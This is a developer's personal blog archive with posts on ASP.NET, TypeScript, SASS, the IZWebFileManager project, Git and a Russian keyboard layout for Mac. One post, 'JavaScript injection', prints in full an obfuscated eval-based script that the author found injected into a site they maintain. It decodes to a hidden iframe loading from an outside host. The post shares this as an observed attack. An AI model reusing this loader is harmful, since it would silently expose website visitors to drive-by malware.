Wednesday, June 11, 2014

Custom Russian Phonetic Keyboard Layout for Mac OSX

Most of my developer life I worked on Windows, and other operation system were strange for me.
But since about year ago I am working on projects for mobile platforms (Android and iOS) and naturally became a Mac OSX user. To make my life with OSX to be the same comfortable as with Windows, I needed to find several tools and features, which replace my "lovely" windows analogs.
One of them is custom keyboard layout.

I am a Russian speaker living in Israel where I use to use English-Hebrew keyboard. For typing in Russian I use Russian phonetic keyboard layout available from this site: http://winrus.com/kbd_e.htm.

Mac OSX has built-in Russian phonetic keyboard, but the layout is slightly different. Sounds like there is not a big deal to learn new layout, but if I switch between Windows and Mac, it become annoying to adjust my mind for layout differences.

Fortunately, there is a way to customise keyboard layout on Mac OSX using "Ukelele" software.

Using Ukelele I took built-in Russian phonetic keyboard layout and changed several keys to make it the same as on windows.



Saved "Russian - phonetic - ZH.keylayout" and "Russian - phonetic - ZH.icns" files into "/Library/Keyboard Layouts", and was able to select it from "System Preferences > Keyboard >  Input Sources"



Vualah! My OSX word is friendly for me!

I am happy to share it with you, please download my custom Russian keyboard layout from here: http://1drv.ms/1mH5NTf



Sunday, October 13, 2013

Using Compass framework with ASP.NET MVC application.

In my previous post I described how to start working with SASS using Mindscape Web Workbench.

In this post I am taking next step - start working with Compass - CSS Authoring Framework.

Immediately after installing Web Workbench, you can create/edit SCSS file, which are compiled into CSS. By default, Web Workbench compile SCSS files with SASS compiler.  But there is a trick:

Monday, October 7, 2013

Tools: SlowCheetah - XML Transforms

If you have different Debug/Release configurations and want to switch them automatically when you run application - this tool is "must to have" for you.

SlowCheetah - XML Transforms
"This package enables you to transform your app.config or any other XML file based on the build configuration. It also adds additional tooling to help you create XML transforms.. Written by: Sayed Ibrahim Hashimi, Chuck England and Bill Hiebert"

Just used it with my application, it works like a charm, no more lines of code in build script changing configuration for production environment. 

Highly recommended!

Sunday, October 6, 2013

Add power of SASS to ASP.NET application

I always wanted to find a way to develop CSS in a way I write C# or JavaScript. The main problem in CSS as a language for me were complexity of refactoring and code reuse.

There were projects such SASS and LESS, but there was no way to adopt them into .NET/Visual Studio environment easily.

About month ago I met amazing product - Mindscape Web Workbench . It is a Visual Studio plug in, allows you to write SASS, LESS and Coffee Script with Visual Studio and therefore use power of those technologies in ASP.NET project.

Sunday, June 30, 2013

TypeScript lambda expression

In my opinion, TypeScript is the best solution for MS/.NET oriented development.

At first - it is very similar to C#, that makes .NET developer's life easy.

At second - TypeScript is a superset of JavaScript, and you can mix "pure" JavaScript code with "typed" TypeScript. It is very important in case you have a lot of JavaScript in your project and want to take advantage of modern web technologies. I have an example - my IZWebFileManager project

At third (but not less important) - it has Lambda expression

I am using JQuery AJAX, and used to write such code:



It is simple closure, that I use to keep reference to the instance that I work with from ajax callback.
This pattern became routine and very annoying.

But TypeScript bring the solution:


It is much simple, no need to care of what 'this' is anymore. It just does all this annoying routine behind the scene. There is compiled JavaScript output:



It worth to move to TypeScript just because it is a great feature

Tuesday, March 19, 2013

Junk Email - free source of Unicode characters

When you test Unicode support of an application, you likely use text snippets of foreign language.

Recently I found a free source of such texts - it is Junk Email. There you can find tons of text in Chinesе, Turkish, Russian and more. :)

Monday, March 4, 2013

IZWebFileManager got better!

Today I released a new build of IZWebFileManager - v2.8.0.

This is a new minor release, but it includes a major changes.

First of all, I dropped IE7 support. Previous version 2.7.2 works in IE7, and you may stick with it if you really need IE7 support.

A new "supper" feature has been added  - Select Folder dialog. When you copy or move selected item, then  Select Folder dialog is open to allow you to pick up a destination.



In additional, there are many new properties were added to support look and feel customization:

  • SelectedItemBackColor
  • SelectedItemForeColor 
  • SelectedItemBorderColor 
  • SelectFolderTreeStyle
  • DetailsColumnHeaderStyle 
  • DetailsSortedColumnStyle 
  • DynamicMenuStyle 
  • TextBoxStyle 
Demo project contains samples of using of them.


You can download this new build from project's page.

Wednesday, January 2, 2013

Converting existing JavaScript code to TypeScript in Visual Studio

The best way to learn new technology is to start using it with real project. I have such - IZWebFileManager. It  was written when ASP.NET MVC wasn't event in mind and Web Forms was only framework for web application in .NET.  IZWebFileManager is an ASP.NET Server Control and has about 1300 lines of JavaScript code.

The challenge is to convert all existing JavaScript code in the project to TypeScript. The result of this effort you can find here: https://github.com/manishma/IZWebFileManager/tree/typescript

It this post I'll tell you about steps I went through.


Tuesday, January 1, 2013

Using TypeScript with an existing ASP.NET project.

TypeScript looks very powerful for me, and I want to use it with all my ASP.NET projects. But I found it is not trivial to add support of TypeScript to an existing project. After installing TypeScript for Visual Studio 2012 I was able to add new TypeScript file (*.ts) to the project, but any changes in the *.ts file did not affect it's output *.js file. Seemed like TypeScript compiler doesn't work for me. It was strange, because I found it works perfect in test project created from TypeScriptHTMLApp template.

After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:




I just added this lines in my existing project's *.csproj file and it works fine now.

Later I found the same answer in Stack Overflow. (Should I've searched there for an answer first? :))


Tuesday, September 4, 2012

Using ASP.NET Bundling and Minification with Web Forms

Bundling and Minification is a new feature of ASP.NET 4.
Learn more from this tutorial http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification.

It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.

When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.

Tuesday, April 10, 2012

JavaScript injection

 This JavaScript code was injected to the main page of the one of not well protected sites I am happy to maintain.:

c=3-1;i=c-2;if(
window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['-31i-31i65i62i-8i0i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i1i83i-27i-31i-31i-31i65i62i74i57i69i61i74i0i1i19i-27i-31i-31i85i-8i61i68i75i61i-8i83i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i79i74i65i76i61i0i-6i20i65i62i74i57i69i61i-8i75i74i59i21i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i-8i79i65i60i76i64i21i-1i9i8i-1i-8i64i61i65i63i64i76i21i-1i9i8i-1i-8i75i76i81i68i61i21i-1i78i65i75i65i58i65i68i65i76i81i18i64i65i60i60i61i70i19i72i71i75i65i76i65i71i70i18i57i58i75i71i68i77i76i61i19i68i61i62i76i18i8i19i76i71i72i18i8i19i-1i22i20i7i65i62i74i57i69i61i22i-6i1i19i-27i-31i-31i85i-27i-31i-31i62i77i70i59i76i65i71i70i-8i65i62i74i57i69i61i74i0i1i83i-27i-31i-31i-31i78i57i74i-8i62i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i65i62i74i57i69i61i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i75i74i59i-1i4i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i1i19i62i6i75i76i81i68i61i6i78i65i75i65i58i65i68i65i76i81i21i-1i64i65i60i60i61i70i-1i19i62i6i75i76i81i68i61i6i72i71i75i65i76i65i71i70i21i-1i57i58i75i71i68i77i76i61i-1i19i62i6i75i76i81i68i61i6i68i61i62i76i21i-1i8i-1i19i62i6i75i76i81i68i61i6i76i71i72i21i-1i8i-1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i79i65i60i76i64i-1i4i-1i9i8i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i64i61i65i63i64i76i-1i4i-1i9i8i-1i1i19i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i6i57i72i72i61i70i60i27i64i65i68i60i0i62i1i19i-27i-31i-31i85'][0].split('i');v="ev"+"a"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}
if(f)z=s;e(z);

Last expression  e(z) evaluates following code:



It is amazing,  how people create such things. This have to be a special state of mind.

Tuesday, March 27, 2012

Setting up Git, Git Extensions and GitHub account


This tutorial indeed for people who is not familiar with Git and GitHub and make first steps with this this technology. The tutorial contains following steps:
  • Installing Git and Git Extensions
  • Setting up GitHub account ,SSH keys and repository
  • Working with GitHub repository with Git Extensions
  • Cloning public repository from GitHub

Monday, March 12, 2012

IZWebFileManager New Feature: File Search.

IZWebFileManager v2.7.0 is out.

This release brings a new feature: file search.

You can search files as easy as you do it in windows explorer.

Search result is listed with additional column "Folder Path", which is clickable and allows to navigate to file containing folder.


In case you don't wont allow users to search file, you can hide search box by setting property ShowSearchBox=false.

The release is available for download from Google Code https://code.google.com/p/izwebfilemanager/

Wednesday, March 7, 2012

BugNET - open source issue tracker

I've been searching for free development management tools running on windows and finally found this one - BugNET - open source issue tracker

It is a great tool, built using C# and the ASP.NET platform and provides features such issues tracking and project management. Full list of features may be found here.

Current state is beta, but it is developed rapidly, so release should not take long.

Friday, March 2, 2012

Tuesday, February 21, 2012

Saturday, February 4, 2012

IZWebFileManager now speaks in more languages

Recently I got a contribution from BeJay, one of IZWebFileManager users. It was 3 new language resource files: China, Czech  and Slovakia.

So by now IZWebFileManager supports 17 languages! Isn't it great?

Most recent release available for download from google code: http://code.google.com/p/izwebfilemanager/

IZWebFileManager is an open source project. You are welcome to contribute!

Monday, November 14, 2011

Use ASP.NET Resource strings from within javascript files

It seems to be a common issue.

ASP.NET allows you to use resource files (*.resx) to localize content of pages (or views, if we are in context of ASP.NET MVC). All what you need is to put resource files under ~/App_GlobalResources folder and use either resource expression or  HttpContext.GetGlobalResourceObject() API to get a proper string. It is well documented on MSDN. The only issue - this API is not accessible within static resources such JavaScript files.


Monday, August 1, 2011

Write custom ASP.NET HTTP Handler using JavaScript

JavaScript is extremely popular language and already has implementations for server-side programming. For example Node.js  - a server-side JavaScript environment that utilizes Goggle's V8 JavaScript Engine.


I am an ASP.NET developer and want to use JavaScript in the ASP.NET environment. I found Javascript .NET project, that bring Google's V8 to the .NET world and I started with a simple task - to write a custom ASP.NET HTTP Handler using JavaScript. (I had done similar task with IronPython before)


Monday, July 18, 2011

Week picker using jQuery UI Datepicker

There is my implementation of Week picker using jQuery UI Datepicker (requers jQuery UI 1.8+).